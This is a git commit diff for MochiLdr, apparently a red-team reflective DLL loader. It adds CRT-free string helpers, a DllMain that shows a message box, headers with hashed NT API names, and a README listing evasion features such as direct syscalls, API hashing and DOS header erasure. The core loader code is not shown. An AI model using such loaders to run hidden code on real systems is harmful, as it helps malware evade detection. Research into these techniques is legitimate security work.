</ItemGroup>
<ItemGroup>
<ClInclude Include="include\MochiLdr.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="include\Structs.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="include\Crt.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="Caller.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+156
View File
@@ -0,0 +1,156 @@
#include "include/MochiLdr.h"
SIZE_T MStringLengthA(LPCSTR String)
{
LPCSTR String2 = String;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
SIZE_T MStringLengthW(LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
SIZE_T MCharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed)
{
INT Length = MaximumAllowed;
while (--Length >= 0)
{
if (!(*Destination++ = *Source++))
return MaximumAllowed - Length - 1;
}
return MaximumAllowed - Length;
}
//-------------------------------
// memcpy
void* ldr_memcpy(void* dst, const void* src, unsigned long size)
{
unsigned char* d = (unsigned char*)dst;
const unsigned char* s = (const unsigned char*)src;
while (size--) *d++ = *s++;
return dst;
}
#pragma function(memset)
void* __cdecl memset(void* dst, int c, size_t size) {
unsigned char* d = dst;
while (size--) *d++ = (unsigned char)c;
return dst;
}
// memset
void* ldr_memset(void* dst, int c, unsigned long size)
{
unsigned char* d = (unsigned char*)dst;
while (size--) *d++ = (unsigned char)c;
return dst;
}
// strlen
unsigned long ldr_strlen(const char* s)
{
unsigned long n = 0;
while (s[n]) n++;
return n;
}
// strcmp
int ldr_strcmp(const char* a, const char* b)
{
while (*a && *b && *a == *b) {
a++; b++;
}
return (unsigned char)*a - (unsigned char)*b;
}
/*
void* ldr_alloc(PINSTANCE instance, unsigned long size)
{
if (!instance || !instance->Win32.NtAllocateVirtualMemory) return NULL;
SIZE_T s = size;
PVOID base = NULL;
NTSTATUS st = instance->Win32.NtAllocateVirtualMemory(
NtCurrentProcess(),
&base,
0,
&s,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (st < 0) return NULL;
return base;
}
*/
//------------------------------------------------------------- CHAR MANIP
// minimal wcslen
unsigned long ldr_wcslen(const wchar_t* s)
{
unsigned long n = 0;
if (!s) return 0;
while (s[n]) n++;
return n;
}
// wide strcat: dst must have enough room
wchar_t* ldr_wcscat(wchar_t* dst, const wchar_t* src)
{
unsigned long dlen = ldr_wcslen(dst);
unsigned long i = 0;
while (src[i]) {
dst[dlen + i] = src[i];
i++;
}
dst[dlen + i] = L'\0';
return dst;
}
// ASCII/ANSI -> UTF16 into caller-provided buffer
// destCount = number of wchar_t entries in dest (including terminator)
unsigned long MCharToWide(const char* src, wchar_t* dest, unsigned long destCount)
{
if (!src || !dest || destCount == 0)
return 0;
unsigned long len = ldr_strlen(src);
if (len + 1 > destCount)
return 0; // not enough room
for (unsigned long i = 0; i < len; ++i) {
dest[i] = (wchar_t)((unsigned char)src[i]);
}
dest[len] = L'\0';
return len;
}
// convert one character to lowercase (ASCII only)
char ldr_tolower(char c)
{
// 'A'..'Z' → 'a'..'z'
if (c >= 'A' && c <= 'Z')
return (char)(c + ('a' - 'A'));
return c;
}
// convert one character to uppercase (ASCII only)
char ldr_toupper(char c)
{
// 'a'..'z' → 'A'..'Z'
if (c >= 'a' && c <= 'z')
return (char)(c - ('a' - 'A'));
return c;
}
+23
View File
@@ -0,0 +1,23 @@
#include "include/MochiLdr.h"
VOID Exec() {
MessageBoxA(NULL, "Hello from MochiLdr!", "MochiLdr", 0);
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Exec();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+18
View File
@@ -0,0 +1,18 @@
#pragma once
#include "MochiLdr.h"
void* ldr_memcpy(void* dst, const void* src, unsigned long size);
void* ldr_memset(void* dst, int c, unsigned long size);
unsigned long ldr_strlen(const char* s);
int ldr_strcmp(const char* a, const char* b);
unsigned long ldr_wcslen(const wchar_t* s);
wchar_t* ldr_wcscat(wchar_t* dst, const wchar_t* src);
unsigned long MCharToWide(const char* src, wchar_t* dest, unsigned long destCount);
char ldr_tolower(char c);
char ldr_toupper(char c);
SIZE_T MStringLengthA(LPCSTR String);
SIZE_T MStringLengthW(LPCWSTR String);
SIZE_T MCharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed);
+57
View File
@@ -0,0 +1,57 @@
#pragma once
#include <Windows.h>
#include "Structs.h"
#include "Crt.h"
// Simple helpers
#define DLLEXPORT __declspec( dllexport )
// Global Macros
#define INITIAL_SEED 25
#define Hash_W(HASH)(JKOAAT_W((LPCWSTR) HASH))
#define Hash_A(HASH)(JKOAAT_A((PCHAR) HASH))
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
// Defining the WinAPI hashes
#define LdrLoadDll_HASH 0xE5231652
#define NtAllocMem_HASH 0x8D5082C5
#define NtProtectMem_HASH 0x554A340C
#define NtFlushInstruct_HASH 0xB658957E
#define AddFuncTable_HASH 0xE1AAB82C
#define Ntdll_HASH 0x129AB5AE
#define Kernel32_HASH 0xDC256F7A
// Struct to hold hashes for the WinAPIs and Modules
typedef struct {
struct {
NtAllocMem AllocMem;
NtProtectMem ProtectMem;
NtFlushInstruct FlushInstruct;
LdrLoadDll LoadDll;
AddFuncTable AddFuncTbl;
} Api;
struct {
PVOID Ntdll;
PVOID Kernel32;
} Modules;
} FUNCS, * PFUNCS;
// GetModuleHandle + GetProcAddress replacements
PVOID GetPrcAddr(HMODULE hHandle, DWORD dwHashValue, WORD wOrdinal);
HMODULE GetModHandle(IN UINT32 uModuleHash);
// PE repairing
BOOL RepairIAT(PFUNCS Functions, PBYTE MochiImage, LPVOID IatDir);
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress);
// Caller from ASM
extern LPVOID MochiCaller();
File diff suppressed because it is too large Load Diff
+36 -1
View File
@@ -1,2 +1,37 @@
# MochiLdr
Reflective x64 Loader written in C/ASM
MochiLdr is a reflective x64 loader written in C/ASM
## Features
- Erase of DOS Header after new memory allocation
- Position Independant Code
- CRT Free
- Use of direct syscalls
- Custom implementation of
- GetProcAddress
- GetModuleHandle
- Support for handling TLS callbacks
- Support for registern exception handlers
- API hashing (jenkins-oaat)
No injector because I want to keep mine private. Just use the one from KaynLdr or make your own.
## APIs used
- ntdll.dll
- NtALlocateVirtualMemory
- NtProtectVirtualMemory
- NtFlushInstructionCache
- LdrLoadDll
- kernel32.dll
- RtlAddFunctionTable
## Credits
```
Paul Ungur (5pider) - https://github.com/Cracked5pider/KaynLdr
Stephen Fewer - https://github.com/stephenfewer/ReflectiveDLLInjection
Bobby Cooke - https://github.com/boku7/BokuLoader
MaldevAcademy - https://maldevacademy.com/
```